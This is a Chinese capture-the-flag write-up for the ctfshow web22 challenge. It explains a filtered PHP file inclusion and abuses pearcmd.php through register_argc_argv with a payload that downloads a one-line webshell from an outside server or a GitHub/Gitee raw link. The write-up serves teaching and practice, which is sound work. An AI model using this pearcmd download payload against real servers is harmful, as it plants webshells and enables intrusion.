ctfshow 萌新计划web22
题目如下:
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\:|\/|\\\/i",$c)){ include($c.".php"); } }else{ highlight_file(__FILE__); } ?>
此处为文件包含,过滤了: / \
解释一下此处正则表达式\\\的原因
传入三个/ ,经过php解释器后剩余两个,在经过正则解释器,就只剩下一个了
还是不懂的可以看此处
ps:此处若有错误请帮忙指出
到了此处并没有任何的头绪了,然后查看了别的师傅的wp
- 当php 开启了 register_argc_argv
- 通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。
- argc是参数计数,并,argv是索引数组,包含的参数。如果您想声明变量$argc和$argv和模仿这种功能,使register_argc_argv。
- $argc变量是⽤于记录数组的⼤⼩
- $argv变量是⽤于记录输⼊的参数。
我们是可以通过$_GET或者$_POST的⽅式来操控$_SERVER['argv']的值的
但是如果测试可以发现,如果直接传⼊值,⽆论多少个参数,$argc的个数始终是 1
<?php error_reporting(0); $a=$_SERVER['argv']; var_dump($a); ?>
?a=1&b=1
a=1&b=1
?a=1+b=1
a=1
b=1
Pear的介绍:
pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区
在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。download下载文件从指定服务器
然后可以构造payload:
?c=pearcmd&+download+http://xxxxx/1emon/index.php
此处是需要一个公网的ip地址的,当我们没有一个ip地址的时候咋办呢
可以使用github或者码云,将一句话上传到上面以后,复制原始数据的连接
然后就可以利用了
“少就是多,慢就是快”